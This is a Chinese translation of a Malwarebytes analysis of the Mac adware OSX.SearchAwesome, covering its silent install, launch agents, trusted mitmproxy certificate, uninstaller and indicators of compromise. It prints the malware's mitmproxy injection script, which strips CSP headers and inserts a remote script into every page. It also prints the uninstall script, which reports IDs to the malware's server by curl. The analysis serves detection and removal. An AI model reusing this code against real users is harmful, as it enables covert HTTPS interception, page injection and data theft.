导语:研究人员发现了一款有趣的Mac恶意软件,它会进行一些恶意活动,比如拦截加密的网络流量来注入广告。专门负责Mac的Malwarebytes,将该恶意软件检测为OSX.SearchAwesome,阅读本文,让我们看看它是如何安装的,并且了解这种攻击的含义。

上周,Malwarebytes的研究人员Adam Thomas发现了一款有趣的Mac恶意软件,它会进行一些恶意活动,比如拦截加密的网络流量来注入广告。专门负责Mac的Malwarebytes,将该恶意软件检测为OSX.SearchAwesome,让我们看看它是如何安装的,并且了解这种攻击的含义。

安装

该恶意软件是在一个相当平淡无奇的磁盘图像文件中被发现的,该恶意软件没有任何一般修饰,因此看起来像一个合法的安装程序。

当打开该恶意软件时,该应用程序不显示安装程序显示,而是以不可见的方式安装组件。两个身份验证请求是该恶意软件进行任何活动的唯一证据。第一个请求是请求授权对证书信任设置的更改。

第二个是允许所谓的spi修改网络配置。

由于这种恶意软件是在第二阶段被发送的,并由另一个恶意安装程序下载。它不需要漂亮的用户界面,因为用户只会看到密码请求,而这些请求将在另一个安装程序的上下文中。

广告软件的行为

与许多广告软件一样,spinstall应用程序安装了一个应用程序和几个启动代理:

/Applications/spi.app
~/Library/LaunchAgents/spid-uninstall.plist
~/Library/LaunchAgents/spid.plist

spid.plist代理用于启动spi.app,但有趣的是,它并不是为了让应用程序持续运行而设计的。如果用户强迫应用程序退出,除非计算机重新启动或用户登出并返回,该应用程序将不会自动重新打开。

有趣的是,spid-uninstall.plist代理监视spi.app应用程序是否被移除,如果应用程序以某种方式被移除,它则会移除恶意软件的其他组件。(稍后将详细介绍。)

然而,该应用程序也与其他的广告软件有很大的不同,它安装了一个证书用于中间人(MitM)攻击,同时恶意软件也能够将其自身插入到一个托管链的某处,通常使用网络数据包来实现这一操作。

在这种情况下,恶意软件使用证书作为获取https通信访问权限的第一步,https通信通常在浏览器和网站之间加密,其他软件无法查看。但是,系统信任的证书(如果在安装过程中,弹出询问时,您输入了密码,证书就会被信任)可以用来拦截https通信。

接下来,恶意软件安装了一个名为mitmproxy的开源程序。根据mitmproxy网站的说法,该软件“可用于拦截、检查、修改和重放web通信”。该证书实际上属于mitmproxy项目,该软件不仅可以通过使用未加密的http通信实现上述操作,还可以使用加密的https通信。

该软件旨在使用这种功能修改web通信,以便将JavaScript注入每个页面。在恶意软件安装的inject.py脚本中可以看到这一过程。

from mitmproxy import http
def response(flow: http.HTTPFlow) -> None:
    if flow.response.status_code == 200:
        if "text/html" in flow.response.headers["content-type"]:
            flow.response.headers.pop("content-security-policy", None)
            flow.response.headers.pop("content-security-policy-report-only", None)
            script_url = "https://chaumonttechnology.com/ia/script/d.php?uid=d7a477399cd589dcfe240e9f5c3398e2&a=3675&v=a1.0.0.25"
            html = flow.response.content
            html = html.decode().replace("</body>", "http://+script_url+</body>")
            flow.response.content = str(html).encode("utf8")

这里显示,恶意软件在被感染计算机上加载的每个网页的末尾都会注入一个从恶意网站加载的脚本。

卸载程序

如果spi.app被删除,spid-uninstall.plist代理将运行以下脚本:

if ! [ -d "/Applications/spi.app" ]; then
networksetup -setwebproxystate "Wi-Fi" off
networksetup -setsecurewebproxystate "Wi-Fi" off
networksetup -setwebproxystate "Ethernet" off
networksetup -setsecurewebproxystate "Ethernet" off
VERSION=$(defaults read com.searchpage.spi version)
AID=$(defaults read com.searchpage.spi aid)
UNIQUE_ID=$(defaults read com.searchpage.spi unique_id)
curl "http://www.searchawesome.net/uninstall.php?un=1&v=$VERSION&reason=&unique_id=$UNIQUE_ID&aid=$AID"
defaults delete com.searchpage.spi
defaults delete com.searchpage.spiinstall
rm ~/Library/LaunchAgents/spid-uninstall.plist
rm ~/Library/LaunchAgents/spid.plist
fi

这一运行实现了几波操作。首先,禁用最初设置的代理。接下来,从程序的首选项中获取一些信息,并将这些信息发送到web服务器。最后,删除了首选项和启动代理(尽管没有正确卸载它们)。

在这一过程的第一步,该脚本将导致出现四次身份验证请求,每次都需要密码。

我通常不建议使用将被删除的恶意软件提供的卸载程序。在许多情况下,在删除其他组件的同时,卸载程序会安装新组件。一个很好例子就是Genieo恶意软件,从2014年开始,这种恶意软件多年来一直在重复上述操作。

对于这个卸载程序,需要注意的是,它保留了mitmproxy软件,以及mitmproxy用来访问加密的web通信的证书,这些证书已经被系统标记为受信任的证书。 

影响

乍一看,这个广告软件似乎没什么害处,因为它只是注入了一个弹出广告的脚本。不过,不能只看外表。由于该脚本是从服务器加载的,因此可以随时更改该服务器的内容。该软件可以从只弹出广告,发展到虹吸用户数据或将用户重定向到钓鱼网站。例如,想象一下,如果一个脚本被注入到特定银行的网站上,该脚本将用户重定向到一个旨在窃取用户银行凭证的钓鱼页面。

可以用注入的脚本做任何事情,从挖掘加密货币到捕获浏览数据到键盘记录等等。更糟糕的是,恶意软件本身可以通过MitM攻击无形的捕获数据,而无需依赖JavaScript或修改web页面内容。

即使恶意软件消失了,其潜在的损害也没有结束。通过保留下它用来执行MitM攻击的工具,建立了另一种情境,在这种情镜下,另一种恶意软件,可能比这个更邪恶,它可以利用这些工具的存在来完成它自己的加密web通信捕获。

Mac的Malwarebytes将检测并移除这个恶意软件的组件,该恶意软件被检测为OSX.SearchAwesome。但是,不会删除mitmproxy的组件,因为它是一个合法的开源工具。如果您的计算机已经被感染,您应该从密钥链中删除mitmproxy证书(使用密钥链实用程序)。

攻击指标

如果你在Mac电脑上看到以下任何一种,表明电脑已经感染了这种恶意软件:

/Applications/spi.app
~/Library/LaunchAgents/spid-uninstall.plist
~/Library/LaunchAgents/spid.plist
~/Library/SPI/

下面的条目是已安装或曾经已安装mitmproxy的标志:

~/.mitmproxy/

一个普通名称mitmproxy的证书:

源链接

Hacking more

...